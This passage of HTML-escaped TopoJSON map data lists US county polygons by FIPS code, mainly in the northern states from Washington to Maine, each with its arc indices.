quot;Polygon&quot;,&quot;id&quot;:53047,&quot;arcs&quot;:[[67,68,69,70,71,72,-1,73]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53065,&quot;arcs&quot;:[[74,75,76,77,78]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53051,&quot;arcs&quot;:[[-22,79,80,-75,81]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53019,&quot;arcs&quot;:[[-78,82,-68,83]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30051,&quot;arcs&quot;:[[84,85,86,-44,87]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38023,&quot;arcs&quot;:[[88,89,90,91]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38013,&quot;arcs&quot;:[[92,93,94,95,-89,96]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30101,&quot;arcs&quot;:[[97,-86,98,-40]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38075,&quot;arcs&quot;:[[99,100,-93,101,-38]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27135,&quot;arcs&quot;:[[102,103,-57,104,105]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30091,&quot;arcs&quot;:[[-91,106,107,-50,108]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16017,&quot;arcs&quot;:[[-34,109,110,111,112,-80,-21]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38101,&quot;arcs&quot;:[[-101,113,114,115,-94]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53055,&quot;arcs&quot;:[[[116]],[[117]],[[118]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27071,&quot;arcs&quot;:[[119,120,121,122,123]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53057,&quot;arcs&quot;:[[[124,-2,-73,125,126,127]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38105,&quot;arcs&quot;:[[-96,128,129,130,-107,-90]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38049,&quot;arcs&quot;:[[131,132,133,-114,-100,-37]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27137,&quot;arcs&quot;:[[134,135,136,137,138,139,-120,140]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30085,&quot;arcs&quot;:[[-108,-131,141,142,-5,-51]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53007,&quot;arcs&quot;:[[-72,143,144,145,146,-126]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38061,&quot;arcs&quot;:[[147,148,149,-129,-95,-116]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27089,&quot;arcs&quot;:[[150,151,152,153,154,-58,-104]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38069,&quot;arcs&quot;:[[-62,155,156,157,-132,-36,-29]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:38071,&quot;arcs&quot;:[[[158]],[[159,160,161,-60,-66]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38099,&quot;arcs&quot;:[[-54,-155,162,163,-160,-65]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27007,&quot;arcs&quot;:[[-122,164,165,166,167,168,-151,-103,169]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30073,&quot;arcs&quot;:[[-99,-85,170,171,-11,-41]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53029,&quot;arcs&quot;:[[[172,173]],[[174]]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53009,&quot;arcs&quot;:[[[175,176]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38005,&quot;arcs&quot;:[[-61,-162,177,178,179,-156],[-159]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30015,&quot;arcs&quot;:[[-48,180,181,182,183,-171,-88,-43]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53061,&quot;arcs&quot;:[[[-147,184,185,-173,186,-127]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30089,&quot;arcs&quot;:[[-17,187,188,189,190,-110,-33]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27075,&quot;arcs&quot;:[[191,192,-135,193]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38063,&quot;arcs&quot;:[[194,195,196,197,-178,-161,-164]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38035,&quot;arcs&quot;:[[-154,198,199,200,-195,-163]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27119,&quot;arcs&quot;:[[201,202,203,204,205,206,207,-199,-153]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27113,&quot;arcs&quot;:[[-169,208,-204,209,-202,-152]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30083,&quot;arcs&quot;:[[210,211,212,213,-142]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53017,&quot;arcs&quot;:[[214,215,-144,-71]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38053,&quot;arcs&quot;:[[-150,216,217,218,219,-211,-130]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53031,&quot;arcs&quot;:[[[220,221,222,-176,223]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30099,&quot;arcs&quot;:[[-184,224,225,-12,-172]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30055,&quot;arcs&quot;:[[-214,226,227,228,-6,-143]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16079,&quot;arcs&quot;:[[-191,229,230,231,232,233,-111]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30047,&quot;arcs&quot;:[[234,-188,-16]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53063,&quot;arcs&quot;:[[-81,-113,235,236,237,238,-76]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27029,&quot;arcs&quot;:[[239,240,241,-205,-209,-168]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16055,&quot;arcs&quot;:[[-234,242,-236,-112]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30033,&quot;arcs&quot;:[[-229,243,244,245,246,-24,-7]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27125,&quot;arcs&quot;:[[-203,-210]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53025,&quot;arcs&quot;:[[-70,247,248,249,250,251,252,-215]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53043,&quot;arcs&quot;:[[-83,-77,-239,253,254,-248,-69]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30049,&quot;arcs&quot;:[[255,256,257,258,259,-13,-226]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53035,&quot;arcs&quot;:[[[260]],[[261,262,263,264,265]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27061,&quot;arcs&quot;:[[-140,266,267,-165,-121]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38055,&quot;arcs&quot;:[[268,269,270,271,272,-148,-115,-134]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38027,&quot;arcs&quot;:[[-198,273,274,275,-179]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38103,&quot;arcs&quot;:[[-180,-276,276,277,278,279,-157]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38083,&quot;arcs&quot;:[[-158,-280,280,281,-269,-133]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38025,&quot;arcs&quot;:[[-273,282,283,284,-217,-149]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30027,&quot;arcs&quot;:[[-26,285,286,287,288,289,-181,-47]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30021,&quot;arcs&quot;:[[-213,290,291,-227]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53033,&quot;arcs&quot;:[[[292]],[[-146,293,294,295,-185]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30013,&quot;arcs&quot;:[[296,297,-256,-225,-183]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38091,&quot;arcs&quot;:[[-201,298,299,300,301,-196]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38039,&quot;arcs&quot;:[[-302,302,303,304,-274,-197]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38097,&quot;arcs&quot;:[[305,306,-299,-200,-208]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53045,&quot;arcs&quot;:[[[307,-265,308,309,310,311,-221]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30063,&quot;arcs&quot;:[[-15,312,313,314,315,316,317,-189,-235]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30077,&quot;arcs&quot;:[[-260,318,319,320,-313,-14]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30069,&quot;arcs&quot;:[[-247,321,322,-286,-25]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53037,&quot;arcs&quot;:[[-216,-253,323,-294,-145]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38031,&quot;arcs&quot;:[[-305,324,-277,-275]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38057,&quot;arcs&quot;:[[325,326,327,-283,-272]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53027,&quot;arcs&quot;:[[[-312,328,329,330,331,-222]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27087,&quot;arcs&quot;:[[332,333,-206,-242]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27107,&quot;arcs&quot;:[[-207,-334,334,335,336,-306]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30061,&quot;arcs&quot;:[[-318,337,-230,-190]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27021,&quot;arcs&quot;:[[338,339,340,341,342,343,-166,-268]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23003,&quot;arcs&quot;:[[344,345,346,347,348]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30045,&quot;arcs&quot;:[[-290,349,350,-297,-182]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16009,&quot;arcs&quot;:[[-233,351,352,-237,-243]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27057,&quot;arcs&quot;:[[-344,353,354,-240,-167]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53053,&quot;arcs&quot;:[[[-295,355,356,357,358]],[[-262,359]],[[-309,-264,360]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30109,&quot;arcs&quot;:[[-220,361,362,363,-291,-212]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38007,&quot;arcs&quot;:[[-285,364,365,366,-218]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38033,&quot;arcs&quot;:[[-367,367,368,-362,-219]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38043,&quot;arcs&quot;:[[369,370,371,372,-281,-279]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38093,&quot;arcs&quot;:[[-304,373,374,375,-370,-278,-325]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38015,&quot;arcs&quot;:[[-373,376,377,378,-270,-282]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38065,&quot;arcs&quot;:[[-379,379,-326,-271]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53001,&quot;arcs&quot;:[[380,381,-249,-255]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53075,&quot;arcs&quot;:[[-238,-353,382,383,384,385,386,387,-381,-254]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38003,&quot;arcs&quot;:[[-301,388,389,390,-374,-303]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38017,&quot;arcs&quot;:[[-307,-337,391,392,393,-389,-300]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53067,&quot;arcs&quot;:[[-358,394,-329,-311,395]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30079,&quot;arcs&quot;:[[-364,396,397,-244,-228,-292]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27005,&quot;arcs&quot;:[[-355,398,399,400,-335,-333,-241]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27027,&quot;arcs&quot;:[[-401,401,402,403,-392,-336]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16057,&quot;arcs&quot;:[[-232,404,405,-383,-352]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53077,&quot;arcs&quot;:[[-252,406,407,408,409,-356,-324]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30059,&quot;arcs&quot;:[[-351,410,411,412,413,414,-257,-298]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27001,&quot;arcs&quot;:[[-139,415,416,417,418,419,-339,-267]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26131,&quot;arcs&quot;:[[420,421,422,423]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38089,&quot;arcs&quot;:[[-328,424,425,426,427,-365,-284]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38059,&quot;arcs&quot;:[[-378,428,429,430,-425,-327,-380]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26013,&quot;arcs&quot;:[[431,432,433,434]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16035,&quot;arcs&quot;:[[-338,-317,435,436,437,-405,-231]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30017,&quot;arcs&quot;:[[438,439,440,441,-245,-398]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30087,&quot;arcs&quot;:[[-442,442,443,444,445,446,-322,-246]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30039,&quot;arcs&quot;:[[447,448,-314,-321]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27159,&quot;arcs&quot;:[[-343,449,450,-399,-354]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27035,&quot;arcs&quot;:[[-420,451,452,-340]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53049,&quot;arcs&quot;:[[[453,454,455,-331]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53041,&quot;arcs&quot;:[[-395,-357,-410,456,457,458,-454,-330]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30007,&quot;arcs&quot;:[[-415,459,460,-258]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27017,&quot;arcs&quot;:[[461,462,-416,-138]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26053,&quot;arcs&quot;:[[463,464,465,466,-422]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30065,&quot;arcs&quot;:[[-447,467,468,-287,-323]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26095,&quot;arcs&quot;:[[469,470,471,472,473]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30037,&quot;arcs&quot;:[[-469,474,475,476,477,-288]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30107,&quot;arcs&quot;:[[-289,-478,478,-411,-350]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53021,&quot;arcs&quot;:[[479,480,481,-250,-382,-388]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53005,&quot;arcs&quot;:[[482,483,484,485,-407,-251,-482]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27111,&quot;arcs&quot;:[[-451,486,487,488,489,-402,-400]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38037,&quot;arcs&quot;:[[490,491,492,-426,-431]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53023,&quot;arcs&quot;:[[493,494,495,-386]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30025,&quot;arcs&quot;:[[-369,496,497,498,499,-439,-397,-363]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16049,&quot;arcs&quot;:[[500,501,502,503,504,505,506,-436,-316]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30081,&quot;arcs&quot;:[[-449,507,508,509,-501,-315]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38029,&quot;arcs&quot;:[[-372,510,511,512,513,-429,-377]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38047,&quot;arcs&quot;:[[-376,514,515,-511,-371]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16069,&quot;arcs&quot;:[[-438,516,-506,517,518,-384,-406]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38087,&quot;arcs&quot;:[[519,520,521,-497,-368,-366,-428]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38045,&quot;arcs&quot;:[[522,523,524,-515,-375,-391]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38041,&quot;arcs&quot;:[[-493,525,-520,-427]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27167,&quot;arcs&quot;:[[-490,526,527,528,-403]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38073,&quot;arcs&quot;:[[-394,529,530,531,-523,-390]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38077,&quot;arcs&quot;:[[-529,532,533,534,-530,-393,-404]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53013,&quot;arcs&quot;:[[535,536,537,-480,-387,-496]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53071,&quot;arcs&quot;:[[-538,538,-483,-481]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55051,&quot;arcs&quot;:[[-466,539,540,541,542]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23025,&quot;arcs&quot;:[[543,544,545,546,547,548,-348]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23021,&quot;arcs&quot;:[[549,-544,-347]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30043,&quot;arcs&quot;:[[-461,550,551,552,553,-319,-259]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26153,&quot;arcs&quot;:[[-472,554,555,556,557]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30111,&quot;arcs&quot;:[[558,559,560,561,-475,-468,-446]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30103,&quot;arcs&quot;:[[562,-559,-445]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16061,&quot;arcs&quot;:[[-437,-507,-517]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53003,&quot;arcs&quot;:[[-519,563,-494,-385]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38085,&quot;arcs&quot;:[[-514,564,565,-491,-430]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26071,&quot;arcs&quot;:[[-433,566,567,568,569,570,-464,-421,571]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27115,&quot;arcs&quot;:[[572,573,574,575,-417,-463]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23019,&quot;arcs&quot;:[[576,577,578,579,-545,-550,-346]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53059,&quot;arcs&quot;:[[-409,580,581,582,583,584,-457]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53015,&quot;arcs&quot;:[[-585,585,586,587,588,-458]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53069,&quot;arcs&quot;:[[[-459,-589,589,-455]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27153,&quot;arcs&quot;:[[-342,590,591,592,-487,-450]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27097,&quot;arcs&quot;:[[-453,593,594,595,-591,-341]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55125,&quot;arcs&quot;:[[596,597,-540,-465,-571,598]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:41007,&quot;arcs&quot;:[[[599,600,601]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38001,&quot;arcs&quot;:[[-492,-566,602,603,604,605,-521,-526]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38081,&quot;arcs&quot;:[[-535,606,607,608,-531]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38051,&quot;arcs&quot;:[[-525,609,610,611,-512,-516]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38021,&quot;arcs&quot;:[[-532,-609,612,613,-610,-524]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38011,&quot;arcs&quot;:[[-606,614,-498,-522]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30023,&quot;arcs&quot;:[[-554,615,616,-508,-448,-320]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26043,&quot;arcs&quot;:[[617,618,619,-568,620]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27095,&quot;arcs&quot;:[[621,622,623,624,-594,-452,-419]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30097,&quot;arcs&quot;:[[-477,625,626,-412,-479]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30031,&quot;arcs&quot;:[[-414,627,628,629,630,631,-551,-460]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30067,&quot;arcs&quot;:[[-627,632,633,634,-628,-413]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30093,&quot;arcs&quot;:[[635,636,-616,-553]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:41009,&quot;arcs&quot;:[[[637,638,639,-600,640,-587]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27065,&quot;arcs&quot;:[[-576,641,-622,-418]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55013,&quot;arcs&quot;:[[642,643,644,645,-574,646]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55113,&quot;arcs&quot;:[[647,648,649,650,651]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55129,&quot;arcs&quot;:[[-651,652,-643,653]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30011,&quot;arcs&quot;:[[654,655,656,657,-440,-500]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30095,&quot;arcs&quot;:[[-562,658,-633,-626,-476]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27051,&quot;arcs&quot;:[[-489,659,660,661,-527]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27041,&quot;arcs&quot;:[[-593,662,663,-660,-488]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55041,&quot;arcs&quot;:[[664,665,666,667,668,-599,-570]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53011,&quot;arcs&quot;:[[-584,669,-638,-586]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53039,&quot;arcs&quot;:[[-486,670,671,672,673,674,-581,-408]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30003,&quot;arcs&quot;:[[-444,675,676,677,678,-560,-563]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27155,&quot;arcs&quot;:[[-662,679,680,681,-533,-528]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55037,&quot;arcs&quot;:[[-620,682,-665,-569]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41059,&quot;arcs&quot;:[[-537,683,684,685,686,-484,-539]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41063,&quot;arcs&quot;:[[-495,-564,-518,-505,687,688,689,-684,-536]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26109,&quot;arcs&quot;:[[690,691,692,-618,693]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55099,&quot;arcs&quot;:[[-598,694,695,696,697,-649,698,-541]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46105,&quot;arcs&quot;:[[699,700,701,702,703,-604]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46031,&quot;arcs&quot;:[[704,705,706,707,-700,-603,-565]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46063,&quot;arcs&quot;:[[-605,-704,708,-655,-499,-615]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46021,&quot;arcs&quot;:[[-612,709,710,-705,-513]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30001,&quot;arcs&quot;:[[-637,711,712,713,714,-509,-617]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46089,&quot;arcs&quot;:[[-614,715,716,717,-710,-611]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46013,&quot;arcs&quot;:[[-608,718,719,720,721,722,-716,-613]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46109,&quot;arcs&quot;:[[-682,723,724,725,726,-534]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46091,&quot;arcs&quot;:[[-727,727,-719,-607]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41049,&quot;arcs&quot;:[[-687,728,729,730,-671,-485]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55085,&quot;arcs&quot;:[[-669,731,732,-695,-597]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41061,&quot;arcs&quot;:[[733,734,-685,-690]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30057,&quot;arcs&quot;:[[-632,735,-712,-636,-552]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27009,&quot;arcs&quot;:[[-625,736,737,-595]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41021,&quot;arcs&quot;:[[738,739,740,-672,-731]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30075,&quot;arcs&quot;:[[-658,741,742,743,-676,-443,-441]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26031,&quot;arcs&quot;:[[744,745,746,747,748,749]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:41057,&quot;arcs&quot;:[[[750,751,752,753,754,-601]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41067,&quot;arcs&quot;:[[755,756,757,-751,-640]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27145,&quot;arcs&quot;:[[-738,758,759,760,761,762,-663,-592,-596]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27149,&quot;arcs&quot;:[[763,764,765,-680,-661]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27121,&quot;arcs&quot;:[[-763,766,767,-764,-664]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41055,&quot;arcs&quot;:[[768,-673,-741]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27059,&quot;arcs&quot;:[[769,770,771,-623,-642]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27025,&quot;arcs&quot;:[[-646,772,773,774,-770,-575]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55095,&quot;arcs&quot;:[[775,776,777,-773,-645]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41051,&quot;arcs&quot;:[[-670,-583,778,779,-756,-639]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41027,&quot;arcs&quot;:[[780,781,-779,-582,-675]]},{&quot;type&q